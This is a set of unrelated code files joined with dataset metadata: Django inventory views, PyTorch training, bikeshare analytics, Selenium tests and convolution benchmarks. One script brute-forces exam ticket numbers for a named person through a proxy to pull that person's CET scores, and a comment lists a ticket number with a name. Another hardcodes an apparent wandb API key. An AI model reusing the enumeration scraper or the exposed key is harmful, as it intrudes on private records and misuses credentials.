return HttpResponseRedirect('/purchase/')\n\n@login_required\ndef purchase_detail(request):\n from product.models import purchase_record, product_disk\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n if request.method == 'GET':\n id = request.GET.get('id', '')\n\n purchase = purchase_record.objects.get(id = id)\n product_disk = product_disk.objects.filter(purchase = id)\n\n product_count = product_disk.count()\n if product_count != 0:\n pur_price_total = product_disk.aggregate(Sum('pur_price'))['pur_price__sum']\n total_price = pur_price_total + purchase.fare\n else:\n pur_price_total = 0\n total_price = pur_price_total + purchase.fare\n\n return render_to_response('purchase_detail.html', locals())\n\n@login_required\ndef product_disk_add(request):\n from product.forms import DiskForm\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n pur_id = request.GET.get('id', '')####purchase_record id\n if request.method == 'POST':\n form = DiskForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/purchase/detail/?id='+str(pur_id))\n else:\n form = DiskForm(initial = {'purchase':pur_id, 'adduser':user_id})\n return render_to_response('product_disk_add.html', locals())\n\n@login_required\ndef product_disk_edit(request):\n from product.forms import DiskForm\n from product.models import product_disk\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n if request.method == 'POST':\n id = request.GET.get('id', '')\n if id != '':\n disk = product_disk.objects.get(id = id)\n form = DiskForm(request.POST, instance=disk)\n if form.is_valid():\n form.save()\n pur_id = request.POST.get('purchase')\n return HttpResponseRedirect('/purchase/detail/?id='+str(pur_id))\n else:\n id = request.GET.get('id', '')\n if id != '':\n disk = product_disk.objects.get(id = id)\n form = DiskForm(instance=disk)\n return render_to_response('product_disk_edit.html', locals())\n\n@login_required\ndef product_disk_del(request):\n from product.models import product_disk\n\n if request.method == 'GET':\n id = request.GET.get('id', '')\n disk = product_disk.objects.get(id = id)\n pur_id = disk.purchase.id\n disk.delete()\n return HttpResponseRedirect('/purchase/detail/?id='+str(pur_id))\n\n@login_required\ndef product_disk_copy(request):\n from product.models import product_disk\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n if request.method == 'GET':\n id = request.GET.get('id', '')\n\n product_disk = product_disk.objects.get(id = id)\n product_disk.id = None\n product_disk.save()\n pur_id = product_disk.purchase.id\n\n return HttpResponseRedirect('/purchase/detail/?id='+str(pur_id))\n\n@login_required\ndef product_disk(request):\n from product.models import product_disk\n\n disk = product_disk.objects.all()\n\n return render_to_response('product_disk.html', locals())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"inventory_system/product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"506916556","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author: yizhong\n# created_at: 17-5-2 下午10:54\nimport torch\nfrom utils.const import UNK_WORD\nfrom torch.autograd import Variable\nfrom utils.other import progress_bar\n\n\nclass Trainer:\n def __init__(self, model, criterion=None, optimizer=None, use_cuda=True):\n super(Trainer, self).__init__()\n self.model = model\n self.criterion = criterion\n self.optimizer = optimizer\n self.use_cuda = use_cuda\n self.epoch = 0\n\n def train(self, dataset, vocab, batch_size):\n self.model.train()\n self.optimizer.zero_grad()\n loss, k = 0.0, 0\n indices = torch.randperm(len(dataset))\n for idx in range(len(dataset)):\n ltree, lsent, rtree, rsent, label = dataset[indices[idx]]\n linput = Variable(torch.LongTensor(vocab.convert_words2ids(lsent, UNK_WORD)))\n rinput = Variable(torch.LongTensor(vocab.convert_words2ids(rsent, UNK_WORD)))\n target = Variable(torch.LongTensor([label]))\n if self.use_cuda:\n linput, rinput = linput.cuda(), rinput.cuda()\n target = target.cuda()\n pred, score = self.model(ltree, linput, rtree, rinput)\n err = self.criterion(score, target)\n # divide err by batch_size so that err.backward() accumulate the average gradients\n err = err / batch_size\n loss += err.data[0]\n err.backward()\n k += 1\n if k % batch_size == 0 or idx == len(dataset) - 1:\n self.optimizer.step()\n self.optimizer.zero_grad()\n progress_bar(idx, len(dataset),\n msg='Train epoch {} pred {} target {}'.format(self.epoch + 1, pred.data[0][0], target.data[0]))\n self.epoch += 1\n return loss / len(dataset)\n\n def eval(self, dataset, vocab, dataset_name, multiple_labels=True):\n self.model.eval()\n correct = 0\n predictions = []\n gold_labels = []\n for idx in range(len(dataset)):\n ltree, lsent, rtree, rsent, label = dataset[idx]\n linput = Variable(torch.LongTensor(vocab.convert_words2ids(lsent, UNK_WORD)), volatile=True)\n rinput = Variable(torch.LongTensor(vocab.convert_words2ids(rsent, UNK_WORD)), volatile=True)\n if self.use_cuda:\n linput, rinput = linput.cuda(), rinput.cuda()\n pred, score = self.model(ltree, linput, rtree, rinput)\n predictions.append(pred.data[0][0])\n gold_labels.append(label)\n if multiple_labels:\n if pred.data[0][0] in label:\n correct += 1\n else:\n if pred.data[0][0] == label:\n correct += 1\n progress_bar(idx, len(dataset),\n msg='Eval epoch {} on {} pred {} target {}'.format(self.epoch, dataset_name,\n pred.data[0][0], ','.join(map(str, label))))\n return correct / len(dataset)\n","sub_path":"src/models/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"87388709","text":"import time\nimport pandas as pd\nimport numpy as np\nfrom tabulate import tabulate\n\nCITY_DATA = { 'chicago': 'chicago.csv', 'new york city': 'new_york_city.csv', 'washington': 'washington.csv' }\n\nMONTHS_TO_INDEX = {'JAN': '1','FEB': '2','MAR': '3','APR': '4','MAY': '5','JUN': '6' ,'ALL': 'ALL'}\n\nINDEX_TO_MONTH = {1 : 'January', 2 : 'February', 3 : 'March', 4 : 'April', 5 : 'May', 6 : 'June'}\n\nDAY_TO_INDEX = {'MON': 0,'TUE': 1,'WED': 2,'THU': 3,'FRI': 4,'SAT': 5,'SUN': 6,'ALL':'ALL'}\n\nINDEX_TO_DAY = {0: 'Monday',1: 'Tuesday',2: 'Wednesday',3: 'Thursday',4: 'Friday',5: 'Saturday',6: 'Sunday'}\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n\n \n city_found, month_found, day_found = False, False, False\n\n while True:\n #get user input (chicago, new york city, washington). HINT: Use a while loop to handle invalid input\n if not city_found:\n city = input(\"we have 3 cities available to explore: Chicago, Washington, New York City. Please select one: \")\n city = city.lower()\n if city not in CITY_DATA:\n print(\"Invalid city or data data not available, please choose one of the 3 : Chicago, Washington, New York City\")\n continue\n else:\n city_found = True\n print('\\n')\n \n \n # get user input for month (all, january, february, ... , june)\n if not month_found:\n month = input(\"Enter month you want to explore. Choose one of: JAN, FEB, MAR, APR, MAY, JUN, ALL. ALL denotes data for all months:\")\n month = month.upper()\n if month not in MONTHS_TO_INDEX:\n print(\"Invalid month entered!!! Enter a valid month!!!!\")\n continue\n else:\n month_found = True\n print('\\n')\n\n # get user input for day of week (all, monday, tuesday, ... ,sunday)\n day = input(\"Enter day you want to explore. Choose one of: MON, TUE, WED, THU, FRI, SAT, SUN, ALL. ALL denotes data for all days:\")\n day = day.upper()\n if day not in DAY_TO_INDEX:\n print(\"invalid day entered!!! Enter a vlaid day!!!\")\n continue\n else:\n break\n\n print('-' *40)\n print('/n')\n return city, month, day\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n start_time = time.time()\n print(\"Begin data processing !!!\") \n\n df = pd.read_csv(CITY_DATA.get(city))\n\n # extract start month from the Start time column to create Start month column\n df['Start Month'] = pd.to_datetime(df['Start Time']).dt.month\n\n # extract start hour from the Start Time column to create an Start Hour column\n df['Start Day'] = pd.to_datetime(df['Start Time'], format = '%Y-%m-%d %H:%M:%S').dt.dayofweek\n\n # extract Start Hour from the Start Time column to create an Start Hour column\n df['Start Hour'] = pd.to_datetime(df['Start Time']).dt.hour\n\n # filter on month, if month is specified\n if month != MONTHS_TO_INDEX.get('ALL'):\n df = df[df['Start Month'] == int(MONTHS_TO_INDEX.get(month))]\n\n # filter on day, if day is specified\n if day != DAY_TO_INDEX.get('ALL'):\n df = df[df['Start Day'] == int(DAY_TO_INDEX.get(day))]\n\n print(\"Data processing completed !!!\")\n print(\"This took %s seconds.\" % (time.time() - start_time)) \n return df\n\n\ndef time_stats(df, month, day):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # display the most common month\n if month == MONTHS_TO_INDEX.get('ALL'):\n popular_month = df['Start Month'].dropna()\n if popular_month.empty:\n print(\"No popular month for for the filter specified!! Please adjust your filter!!\")\n else:\n popular_month = popular_month.mode()[0]\n print(\"Most popular month for renting is :{}\".format(INDEX_TO_MONTH.get(popular_month)))\n else:\n print(\"As you have chosen month: {} as filter, most popular month fot renting won\\'t be calculated\".format(month))\n\n # display the most common day of week\n if day == DAY_TO_INDEX.get('ALL'):\n popular_day = df['Start Day'].dropna() #.mode()[0]\n if popular_day.empty:\n print('No popular day found for the filters specified!! Please adjust your filter!!!')\n else:\n popular_day = popular_day.mode()[0]\n print('Most popular day for renting is : {}'.format(INDEX_TO_DAY.get(popular_day)))\n else:\n print('As you have chosen {} day as filter, most day for renting won\\'t be calculated'.format(day.title()))\n\n # display the most common start hour\n popular_start_hour = df['Start Hour'].dropna()\n if popular_start_hour.empty:\n print('No popular start hour found for the filter specified!! Please adjust your filter !!!')\n else:\n popular_start_hour = popular_start_hour.mode()[0]\n print('Most popular renting start hour is: {}:00 hrs'.format(popular_start_hour))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-' * 40)\n \ndef station_stats(df):\n \"\"\"\n Displays statistics on the most popular stations and trip.\n \n Args:\n param1 (df): The data frame you wish to work with.\n \n Returns:\n None. \n \"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # display most commonly used start station\n common_start_station = df['Start Station'].mode()[0]\n print(f\"The most commonly used start station: {common_start_station}\")\n \n # display most commonly used end station\n common_end_station = df['End Station'].mode()[0]\n print(f\"\\nThe most commonly used end station: {common_end_station}\")\n \n # display most frequent combination of start station and end station trip\n df['Start To End'] = df['Start Station'].str.cat(df['End Station'], sep = ' to ')\n combo = df['Start To End'].mode()[0]\n \n print(f\"\\nThe most frequent combination of trips are from {combo}.\")\n \n print(f\"\\nThis took {(time.time() - start_time)} seconds.\")\n print('-'*40)\n \ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\n \n Args:\n param1 (df): The data frame you wish to work with \n \n Returns:\n None. \n \"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # display total travel time\n total_duration = df['Trip Duration'].sum()\n minute, second = divmod(total_duration, 60)\n hour, minute = divmod(minute, 60)\n print(f\"The total trip duration is {hour} hours, {minute} minutes and {second} seconds.\")\n\n # display mean travel time\n average_duration = round(df['Trip Duration'].mean())\n mins, sec = divmod(average_duration, 60)\n if mins > 60:\n hrs, mins = divmod(mins, 60)\n print(f\"\\nThe average trip dusration is {hrs} hours, {mins} minutes and {sec} seconds.\")\n else:\n print(f\"\\nThe average trip duration is {mins} minutes and {sec} seconds.\")\n \n print(f\"\\nThis took {(time.time() - start_time)} seconds\")\n print('-'*80)\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # Display counts of user types\n user_type = df['User Type'].dropna()\n\n if user_type.empty:\n print('No data available for specified filter, please adjust your filter!!')\n else:\n user_type = user_type.value_counts()\n print('User type details for the filter specified : {}'.format(user_type))\n\n # Display counts of gender\n if 'Gender' in df:\n user_gender = df['Gender'].dropna()\n if user_gender.empty:\n print('No data available for specified filter, please adjust your filter!!')\n else:\n user_gender = user_gender.value_counts()\n print('User gender count : {}'.format(user_gender))\n\n # Display earliest, most recent, and most common year of birth\n if 'Birth Year' in df:\n birth_years = df['Birth Year'].dropna()\n if birth_years.empty:\n print('No data available for specified filter, please adjust your filter!!')\n else:\n user_birth_year = df['Birth Year'].dropna()\n if user_birth_year.empty:\n print('No data available for specified filter, please adjust your filter!!')\n else:\n oldest_user = user_birth_year.min()\n print('Earliest year ofbirth for the selected filter : {}'.format(int(oldest_user)))\n \n youngest_user = user_birth_year.max()\n print('Most recent year of birth for the selected filter : {}'.format(int(youngest_user)))\n \n most_common_year_of_birth = user_birth_year.mode()[0]\n print('Most common year of birth for the selected filter : {}'.format(int(most_common_year_of_birth)))\n\n print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n print('-'*40)\n\n\n#This function display the selected data frame 5 at a times with all the columns\ndef show_raw_data(df):\n \"\"\"method to print the selected data frame, 5 at a time\"\"\"\n while True:\n display_data = input('\\nWould you like to see 5 lines of the raw data? Enter yes or no.\\n')\n if display_data.lower() != 'yes':\n break\n print(tabulate(df_default.iloc[np.arange(0+i,5+i)], headers = \"keys\"))\n i += 5\n \n print('-'*60) \n\ndef main():\n while True:\n city, month, day = get_filters()\n print(\"Input to be proecessed -> City : {}, Month : {}, Day : {}\".format(city, month, day))\n \n df = load_data(city, month, day)\n\n if df.empty:\n print(\"No data found for specified filter, please adjust your filters!!!\")\n continue\n \n time_stats(df, month, day)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n show_raw_data(df)\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"BikeShare.py","file_name":"BikeShare.py","file_ext":"py","file_size_in_byte":11038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"432947523","text":"#pip install time\r\nimport json\r\nimport time\r\n#pip install socket\r\nimport socket\r\n\r\nclass Obstacle:\r\n\t\r\n\tdef __init__(self, id, name, x1, y1, z1, x2, y2, z2):\r\n\r\n\t\tself.id = id\r\n\t\tself.name = name\r\n\t\tself.x1 = x1\r\n\t\tself.y1 = y1\r\n\t\tself.z1 = z1\r\n\t\tself.x2 = x2\r\n\t\tself.y2 = y2\r\n\t\tself.z2 = z2\r\n\r\n\r\n\t'''returns a tuple with 3 ints containing the current stored location of the Obstacle object'''\r\n\tdef getLocation(self):\r\n\t\treturn (self.x1, self.y1, self.z1, self.x2, self.y2, self.z2)\r\n\r\n\t'''Takes 3 ints and changes the current stored location of the Obstacle object'''\r\n\tdef setLocation(self, x1, y1, z1, x2, y2, z2):\r\n\t\tself.x1 = x1\r\n\t\tself.y1 = y1\r\n\t\tself.z1 = z1\r\n\t\tself.x2 = x2\r\n\t\tself.y2 = y2\r\n\t\tself.z2 = z2\r\n\r\n\t'''returns a string with the id stored in the Obstacle object'''\r\n\tdef getId(self):\r\n\t\treturn self.id\r\n\r\n\t'''returns a string with the name stored in the Obstacle object'''\r\n\tdef getName(self):\r\n\t\treturn self.name\r\n\t\r\n\t'''takes a dict with obstacle data and updates the obstacle'''\r\n\tdef update(self, obstacle):\r\n\t\tself.name = obstacle['name']\r\n\t\tself.x1 = obstacle['x1']\r\n\t\tself.y1 = obstacle['y1']\r\n\t\tself.z1 = obstacle['z1']\r\n\t\tself.x2 = obstacle['x2']\r\n\t\tself.y2 = obstacle['y2']\r\n\t\tself.z2 = obstacle['z2']","sub_path":"Obstacle.py","file_name":"Obstacle.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"366238641","text":"# vim: ai ts=4 sts=4 et sw=4utf-8\r\nimport unittest\r\nfrom nose.plugins.attrib import attr\r\nfrom framework.base_test import setup_driver, teardown_driver\r\nfrom framework.utils.data_fetcher import from_, fetch_\r\nfrom framework.utils.common_utils import generateId\r\nfrom pages.addsubjecttypepage.add_subject_type_page import AddSubjectTypePage\r\nfrom pages.loginpage.login_page import LoginPage\r\nfrom testdata.test_data import DATA_WINNER_LOGIN_PAGE, DATA_WINNER_ALL_SUBJECT\r\nfrom tests.addsubjecttypetests.add_subject_type_data import *\r\nfrom tests.logintests.login_data import VALID_CREDENTIALS\r\n\r\n\r\n@attr('suit_1')\r\nclass TestAddSubjectType(unittest.TestCase):\r\n @classmethod\r\n def setUpClass(cls):\r\n cls.driver = setup_driver()\r\n cls.driver.go_to(DATA_WINNER_LOGIN_PAGE)\r\n login_page = LoginPage(cls.driver)\r\n login_page.do_successful_login_with(VALID_CREDENTIALS)\r\n cls.driver.go_to(DATA_WINNER_ALL_SUBJECT)\r\n cls.page = AddSubjectTypePage(cls.driver)\r\n\r\n def setUp(self):\r\n self.driver.refresh()\r\n\r\n @classmethod\r\n def tearDownClass(cls):\r\n teardown_driver(cls.driver)\r\n\r\n @attr('functional_test')\r\n def test_add_new_subject_type(self):\r\n add_subject_type_page = self.page\r\n add_subject_type_page.click_on_accordian_link()\r\n entity_type = VALID_ENTITY[ENTITY_TYPE] + generateId()\r\n all_subject_page = add_subject_type_page.successfully_add_entity_type_with(entity_type)\r\n self.assertTrue(all_subject_page.check_subject_type_on_page(entity_type))\r\n\r\n @attr('functional_test')\r\n def test_add_existing_subject_type(self):\r\n add_subject_type_page = self.page\r\n add_subject_type_page.click_on_accordian_link()\r\n add_subject_type_page.add_entity_type_with(ALREADY_EXIST_ENTITY[ENTITY_TYPE], wait=False)\r\n self.assertEqual(add_subject_type_page.get_error_message(), fetch_(ERROR_MESSAGE, from_(ALREADY_EXIST_ENTITY)))\r\n\r\n @attr('functional_test')\r\n def test_add_blank_subject_type(self):\r\n add_subject_type_page = self.page\r\n add_subject_type_page.click_on_accordian_link()\r\n add_subject_type_page.add_entity_type_with(BLANK[ENTITY_TYPE], wait=False)\r\n self.assertEqual(add_subject_type_page.get_error_message(), fetch_(ERROR_MESSAGE, from_(BLANK)))\r\n\r\n @attr('functional_test')\r\n def test_add_invalid_subject_type(self):\r\n add_subject_type_page = self.page\r\n add_subject_type_page.click_on_accordian_link()\r\n add_subject_type_page.add_entity_type_with(INVALID_ENTITY[ENTITY_TYPE], wait=False)\r\n self.assertEqual(add_subject_type_page.get_error_message(), fetch_(ERROR_MESSAGE, from_(INVALID_ENTITY)))\r\n\r\n","sub_path":"func_tests/tests/addsubjecttypetests/add_subject_type_tests.py","file_name":"add_subject_type_tests.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"353423477","text":"# encoding: utf-8\n# !/usr/bin/python3\n\nimport portrait.analysisFileContent4Reference as reference\nimport portrait.analysisFileContent4Rule as rule\nfrom db import db\nfrom util.fileUtil import readFileContent\n\n\"\"\"\n解析全部文件内容\n\"\"\"\n\n\ndef analysisAllFileContent():\n print (\"analysis all file content start\")\n fileList = db.readNeedAnalysisFileList(5000)\n for file in fileList:\n fileId = str(file[0])\n fileFullName = str(file[1])\n suffix = str(file[2])\n analysisFileContent(fileId, fileFullName, suffix)\n print (\"analysis all file content end\")\n\n\n\"\"\"\n解析文件内容\n\"\"\"\n\n\ndef analysisFileContent(fileId, fileFullName, suffix):\n iter_f = readFileContent(fileFullName)\n lineNum = 0\n for lineContent in iter_f: # 遍历文件,一行行遍历,读取文本\n lineNum = lineNum + 1\n # 解析规则数据\n rule.analysisRuleData(fileId, lineContent, lineNum, suffix)\n # 解析引用关系\n reference.analysisReference(fileId, lineContent, lineNum)\n","sub_path":"ProjectPortrait/portrait/analysisFileContent.py","file_name":"analysisFileContent.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"259629873","text":"#!/usr/bin/env python3\n#coding=utf-8\n\n\ndef text(files):\n\twith open('cet.txt','w+') as f:\n\t\tf.write(files)\n\ndef read_text():\n\twith open('cet.txt','r') as f:\n\t\tdata = f.read()\n\treturn data\n\t\nimport requests,os\nfrom time import sleep\nfrom urllib.parse import quote\nfrom bs4 import BeautifulSoup as bs\n\nproxy = {\n\t'http':'101.200.44.5:8888'\n}\n\nURL='http://www.chsi.com.cn/cet/'\ndata = 'query?zkzh={}&xm={}'\n\nH = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n'Accept-Encoding':'gzip, deflate',\n'Accept-Language':'zh-CN,zh;q=0.8',\n'Host':'www.chsi.com.cn',\n'Referer':'http://www.chsi.com.cn/cet/',\n'Upgrade-Insecure-Requests':'1',\n'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',\n}\n\ndef query(id__,name):\n\ts = requests.Session()\n\treq = s.get(URL,headers=H)\n\n\tif req.ok :\n\t\turl = URL + data.format(id__,quote(name))\n\t\treq = requests.get(url,headers=H,cookies=req.cookies)\n\t\treturn req.text\n\telse:\n\t\tprint(id__,name,'出错',sep='-->')\n\t\treturn False\n\n\ndef check(html):\n\tsoup = bs(html,'html.parser')\n\t\n\tif soup.find('div',{\"class\":\"error alignC marginT20\"}):\n\t\treturn False\n\telif soup.find('div',{\"class\":\"error alignC\"}):\n\t\tprint(\"缺少验证码\")\n\t\treturn False\n\telse:\n\t\treturn True\n\n#html = read_text()\ndef parse(html):\n\tsoup = bs(html,'html.parser')\n\n\ttable = soup.find('table',{\"border\":\"0\",\"align\":\"center\"})\n\n\tstring = ''\n\tfor n in table.getText().split():\n\t\tstring += n\n\n\treturn string\n\n\ndef append_file(string):\n\twith open('cet.txt','a+') as f:\n\t\tf.writelines(string + os.linesep)\n\nnumber = 420550171103500,420550171103600 ### 420550171103524 贺深\n\n\n### testing\n'''text = query(420550171103524,'贺深')\nif check(text):\n\tprint(parse(text))\nelse:\n\tprint('没有')\nexit(0)'''\n### testing end\nnames = ['张嘉迪']\nfor num in range(1,11):\n for zkzh in [i for i in range(*number)]:\n for xm in names:\n text = query(zkzh,xm)\n if check(text):\n result = parse(text)\n print(result)\n append_file(result)\n continue\n else:\n print(zkzh,xm,sep='-->')\n sleep(10)\n","sub_path":"cet_query.py","file_name":"cet_query.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"462810542","text":"import csv\nimport webbrowser\nimport subprocess\n\n# CSV format : url,private,navigator\n# Authorized values\n# - private: yes, no\n# - navigator: firefox, chrome, edge, other\n# DONT FORGET TO FILL THE FUNCTION BELOW: \"private\" = command line option to launch browser into private mode\n\ndef f(x):\n\treturn {\n\t\t\t\"firefox\": {\"path\": \"\", \"private\": \"-private-window\"},\n\t\t\t\"chrome\": {\"path\": \"\", \"private\": \"-incognito\"},\n\t\t\t\"edge\": {\"path\": \"\", \"private\": \"-private\"},\n\t\t\t\"other\": {\"path\": \"\", \"private\": \"\"}\n\t\t\t}[x]\n\nclass navigator:\n\tnav = {\"firefox\": [], \"chrome\": [], \"edge\": [], \"other\": []}\n\tnav_private = {\"firefox\": [], \"chrome\": [], \"edge\": [], \"other\": []}\n\n\tdef __init__(self, path):\n\t\tself.read_csv(path)\n\n\tdef read_csv(self, path):\n\t\twith open(path, newline=\"\") as csvfile:\n\t\t\treader = csv.DictReader(csvfile)\n\t\t\tfor row in reader:\n\t\t\t\ttry:\n\t\t\t\t\tif row[\"private\"] == \"no\":\n\t\t\t\t\t\tself.nav[row[\"navigator\"]].append(row[\"url\"])\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.nav_private[row[\"navigator\"]].append(row[\"url\"])\n\t\t\t\texcept KeyError:\n\t\t\t\t\tprint(\"Webbrowser misspelled or missing\")\n\n\tdef __getList__(self, dict, private = False):\n\t\td = []\n\t\tfor key, value in dict.items():\n\t\t\tif len(value) > 0:\n\t\t\t\ttry:\n\t\t\t\t\tg = f(key)\n\t\t\t\t\tvalue.insert(0, g[\"path\"])\n\t\t\t\t\tif private:\n\t\t\t\t\t\tvalue.insert(1, g[\"private\"])\n\t\t\t\t\td.append(value)\n\t\t\t\texcept KeyError:\n\t\t\t\t\tprint(\"Something went wrong! item = \" + key)\n\t\treturn d\n\t\t\t\t\t\n\tdef run(self):\n\t\tn = self.__getList__(self.nav)\n\t\tnp = self.__getList__(self.nav_private, True)\n\t\tfinal = n + np\n\t\tfor elements in final:\n\t\t\tsubprocess.Popen(elements, creationflags = subprocess.CREATE_NEW_CONSOLE)\n\n","sub_path":"navigator.py","file_name":"navigator.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"512758347","text":"import torch\nimport time\nfrom statistics import mean\nfrom collections import defaultdict\nfrom tqdm import tqdm\nimport wandb\n\nfrom direct import Direct_Conv2d\nfrom im2col import Im2Col_Conv2d\nfrom winograd import Winograd_Conv2d\nfrom fft import FFT_Conv2d\nfrom decomp import Tucker_Conv2d\nfrom decomp import CP_Conv2d\nfrom config import configs\n\n\ndef run_and_time(name, model, _input, _filter):\n times = []\n iters = 1 if name == \"direct\" else 3 if name == \"winograd\" else 5\n\n for _ in tqdm(range(iters), desc=f\"Running benchmark for {name}\"):\n start_time = time.time()\n out = model(_input, _filter)\n times.append(time.time() - start_time)\n del out\n\n return mean(times)\n\n\ndef test_implementation(name, model, _input, _filter):\n reference = torch.nn.functional.conv2d(_input, _filter)\n\n \"\"\"the tucker and cp models discard the original weights and initialize \n new weights for each decomposed block, therefore we only check the shape\"\"\"\n if name in [\"tucker\", \"cp\"]:\n return reference.shape == model(_input, _filter).shape\n\n return torch.allclose(reference, model(_input, _filter))\n\n\ndef run(config, convs, devices, test=False):\n r = wandb.init(project=\"sysdl-assignment7\")\n print(f\"\\nCurrent config: {config}\")\n\n results = defaultdict(dict)\n C, H, W, M, R, S = (\n config[\"C\"],\n config[\"H\"],\n config[\"W\"],\n config[\"M\"],\n config[\"R\"],\n config[\"S\"],\n )\n\n with torch.no_grad():\n if test:\n # check that the outputs match the reference PyTorch implementation\n print(\"Testing correctness of implementations...\")\n img = torch.rand(8, 3, 16, 16, dtype=torch.float)\n fil = torch.rand(2, 3, 3, 3, dtype=torch.float)\n for name, conv2d in convs.items():\n model = (\n conv2d(C, M, R, S, fil) if name in [\"tucker\", \"cp\"] else conv2d()\n )\n assert test_implementation(name, model, img, fil)\n print(\"Tests passed.\")\n\n for device in devices:\n print(f\"\\nRunning benchmarks on {device}...\")\n N = 8 if device == \"cpu\" else 128\n img = torch.rand(N, C, H, W, dtype=torch.float, device=device)\n fil = torch.rand(M, C, R, S, dtype=torch.float, device=device)\n for name, conv2d in convs.items():\n model = (\n conv2d(C, M, R, S, fil) if name in [\"tucker\", \"cp\"] else conv2d()\n )\n model.to(device)\n results[name][device] = run_and_time(name, model, img, fil)\n\n wandb.log({\"results\": dict(results), \"config\": config})\n r.finish()\n\n\nif __name__ == \"__main__\":\n wandb.login(key=\"df416cf0e6b9361efc64aa08d4715af979c8d070\")\n\n convolutions = {\n \"im2col\": Im2Col_Conv2d,\n \"winograd\": Winograd_Conv2d,\n \"fft\": FFT_Conv2d,\n \"tucker\": Tucker_Conv2d,\n \"cp\": CP_Conv2d,\n \"direct\": Direct_Conv2d,\n }\n devices = [\"cpu\", \"cuda\"]\n\n for c, h, w, m, r, s in configs:\n config = dict(C=c, H=h, W=w, M=m, R=r, S=s)\n\n invalid = []\n if not (config[\"R\"] == 3 and config[\"S\"] == 3):\n invalid.append(\"winograd\")\n if not ((config[\"H\"] == config[\"W\"]) and (config[\"H\"] % 2 == 0)):\n invalid.append(\"winograd\")\n if config[\"H\"] > 64:\n invalid.append(\"winograd\")\n if config[\"H\"] > 32 or config[\"W\"] > 32 or config[\"C\"] > 3:\n invalid.append(\"direct\")\n\n convs = {k: v for k, v in convolutions.items() if k not in invalid}\n run(config, convs, devices)\n","sub_path":"assignment_conv/run_benchmark.py","file_name":"run_benchmark.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"430823883","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('startup', '0007_auto_20140925_0903'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='startupmember',\n name='is_admin',\n field=models.BooleanField(default=False, verbose_name=b'Admin'),\n ),\n migrations.AlterField(\n model_name='startupmember',\n name='type',\n field=models.CharField(default=b'FOUNDER', max_length=20, verbose_name=b'Type', choices=[(b'FOUNDER', 'member.founder'), (b'COFOUNDER', 'member.cofounder'), (b'ADVISOR', 'member.advisor'), (b'INVESTOR', 'member.invertor'), (b'MEMBER', 'member.member')]),\n ),\n ]\n","sub_path":"api/startup/migrations/0008_auto_20140930_0429.py","file_name":"0008_auto_20140930_0429.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"601413408","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 3 08:46:22 2020\r\n\r\n@author: ssridhar\r\n\"\"\"\r\n\r\ndef fetch_data_step():\r\n import torch\r\n import torchvision\r\n import torchvision.transforms as transforms\r\n \r\n 